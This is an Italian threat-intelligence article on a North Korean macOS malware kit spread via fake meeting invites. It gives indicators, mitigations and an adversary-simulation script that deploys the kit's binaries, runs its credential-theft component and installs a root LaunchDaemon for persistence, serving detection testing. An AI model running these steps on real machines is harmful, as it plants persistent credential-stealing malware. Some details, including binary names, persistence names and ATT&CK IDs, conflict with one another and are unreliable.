La campagna Safari della Corea del Nord distribuisce RATs

Sintesi

L’articolo descrive un nuovo framework malware per macOS chiamato Mach-O Man, che è stato collegato alla famosa unità Chollima del gruppo Lazarus. Il malware è distribuito tramite account Telegram compromessi e inviti a riunioni false che persuadono le vittime ad eseguire un comando ClickFix sui loro dispositivi. Il toolkit include diversi binari Mach-O progettati per raccogliere dettagli dell’host, mantenere la persistenza e rubare credenziali e dati del browser, con esfiltrazione tramite Telegram. La campagna sembra concentrarsi su scambi di criptovalute e altre organizzazioni nel settore finanziario.

Indagine

I ricercatori hanno identificato un binario di staging chiamato teamsSDK.bin che è stato scaricato ed eseguito attraverso una sequenza di comandi malevoli. Ulteriori componenti, inclusi D1yCPUyk.bin, minst2.bin, e macrasv2, sono stati successivamente utilizzati per enumerare il sistema, creare un LaunchAgent per la persistenza e raccogliere estensioni del browser, dati del portachiavi e cookie. La comunicazione di comando e controllo si basava su un server HTTP basato su Go che esponeva un endpoint /info non autenticato e trapelava un token API del bot Telegram. Gli investigatori hanno anche trovato servizi di accesso remoto come RDP, WinRM e Chrome Remote Desktop esposti sull’host C2.

Mitigazione

Gli utenti dovrebbero evitare di interagire con link a riunioni non richiesti e confermare la legittimità di ogni comando del terminale suggerito durante conversazioni inaspettate. Le organizzazioni dovrebbero monitorare la presenza di LaunchAgent non autorizzati, richiedere la firma di codice fidato per i binari macOS e restringere l’esecuzione di file sconosciuti. Le difese di rete dovrebbero bloccare connessioni in uscita verso server HTTP sospetti basati su Go e segnalare il traffico usando l’agente utente Go-http-client . I token del bot Telegram dovrebbero essere protetti dall’esposizione e i servizi desktop remoto dovrebbero essere bloccati con controlli di accesso secondo il principio del privilegio minimo.

Risposta

I team di sicurezza dovrebbero rilevare l’esecuzione di file .bin sconosciuti e monitorare la creazione di LaunchAgent denominati com.onedrive.launcher. Gli avvisi dovrebbero essere attivati anche per connessioni in uscita a infrastrutture sospette utilizzando l’agente utente Go-http-client e richieste POST ripetute agli /info endpoint. I difensori dovrebbero vigilare sulle attività API di Telegram inaspettate legate a token del bot non familiari. Dovrebbero essere condotte analisi forensi complete dell’host per identificare e rimuovere tutti i binari malevoli, seguite da reimpostazioni delle credenziali per qualsiasi account che potrebbe essere stato compromesso.

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere superato.

Motivazione: Questa sezione dettaglia la precisa esecuzione della tecnica avversaria (T1546.006 / T1587.001) progettata per attivare la regola di rilevamento. I comandi riflettono un vero e proprio deployment “living-off-the-land” dei binari Mach-O Man.

• Narrativa di Attacco & Comandi:

  1. Un attaccante che ha già ottenuto un punto d’appoggio sull’host macOS copia i quattro binari Mach‑O Man da una posizione di staging (/tmp/stage) a una directory scrivibile (/usr/local/bin).
  2. I binari sono resi eseguibili e lanciati sequenzialmente per imitare le fasi di inizializzazione, ricognizione, persistenza e furto di credenziali del kit.
  3. La persistenza viene ottenuta scrivendo un plist per un demone di lancio che punta a minst2.bin.

  # Step 1 – Metti in scena i binari (simulato copiando da una cartella di asset di test)
  mkdir -p /usr/local/bin/macho
  cp ./assets/teamsSDK.bin /usr/local/bin/macho/
  cp ./assets/D1YrHRTg.bin /usr/local/bin/macho/
  cp ./assets/minst2.bin   /usr/local/bin/macho/
  cp ./assets/macrasv2    /usr/local/bin/macho/
  
  # Step 2 – Rendili eseguibili
  chmod +x /usr/local/bin/macho/*.bin
  
  # Step 3 – Esegui i binari di stager e ricognizione
  /usr/local/bin/macho/teamsSDK.bin &
  /usr/local/bin/macho/D1YrHRTg.bin &
  
  # Step 4 – Installa la persistenza (launch daemon) per minst2.bin
  cat <<'EOF' > /Library/LaunchDaemons/com.macho.minst2.plist
  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  <plist version="1.0">
  <dict>
      <key>Label</key><string>com.macho.minst2</string>
      <key>ProgramArguments</key>
      <array>
          <string>/usr/local/bin/macho/minst2.bin</string>
      </array>
      <key>RunAtLoad</key><true/>
  </dict>
  </plist>
  EOF
  sudo launchctl load -w /Library/LaunchDaemons/com.macho.minst2.plist
  
  # Step 5 – Esegui il componente di furto/esfiltrazione delle credenziali
  /usr/local/bin/macho/macrasv2 &

• Script di Test di Regressione: (script bash auto-contenuto che riproduce i passaggi sopra indicati)

  #!/usr/bin/env bash
  set -euo pipefail
  
  # --- VARIABILI -------------------------------------------------
  BIN_DIR="/usr/local/bin/macho"
  ASSET_DIR="$(pwd)/assets"
  PLIST="/Library/LaunchDaemons/com.macho.minst2.plist"
  
  # --- PRE-CHECK -------------------------------------------------
  if [[ $(id -u) -ne 0 ]]; then
    echo "Il script richiede i privilegi di root per installare il demone di lancio. Rilancia con sudo."
    exit 1
  fi
  
  # --- DEPLOY BINARI -------------------------------------------
  mkdir -p "$BIN_DIR"
  for bin in teamsSDK.bin D1YrHRTg.bin minst2.bin macrasv2; do
    cp "$ASSET_DIR/$bin" "$BIN_DIR/$bin"
    chmod +x "$BIN_DIR/$bin"
  done
  
  # --- ESEGUI STAGER & RECON ------------------------------------
  "$BIN_DIR/teamsSDK.bin" &
  "$BIN_DIR/D1YrHRTg.bin" &
  
  # --- PERSISTENZA (launch daemon) -------------------------------
  cat <<'EOF' > "$PLIST"
  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  <plist version="1.0">
  <dict>
      <key>Label</key><string>com.macho.minst2</string>
      <key>ProgramArguments</key>
      <array>
          <string>/usr/local/bin/macho/minst2.bin</string>
      </array>
      <key>RunAtLoad</key><true/>
  </dict>
  </plist>
  EOF
  launchctl load -w "$PLIST"
  
  # --- ESEGUI COMPONENTE DI FURTO DELLE CREDENZIALI -----------------------
  "$BIN_DIR/macrasv2" &
  
  echo "Simulazione eseguita – attendere pochi secondi affinché la telemetria appaia."

• Comandi di Pulizia:

  #!/usr/bin/env bash
  set -euo pipefail
  
  BIN_DIR="/usr/local/bin/macho"
  PLIST="/Library/LaunchDaemons/com.macho.minst2.plist"
  
  # Scollega il demone di lancio
  if [[ -f "$PLIST" ]]; then
    sudo launchctl unload -w "$PLIST"
    sudo rm -f "$PLIST"
  fi
  
  # Uccidi eventuali processi malevoli rimanenti
  pkill -f teamsSDK.bin || true
  pkill -f D1YrHRTg.bin || true
  pkill -f minst2.bin   || true
  pkill -f macrasv2    || true
  
  # Rimuovi binari
  sudo rm -rf "$BIN_DIR"
  
  echo "Pulizia completata."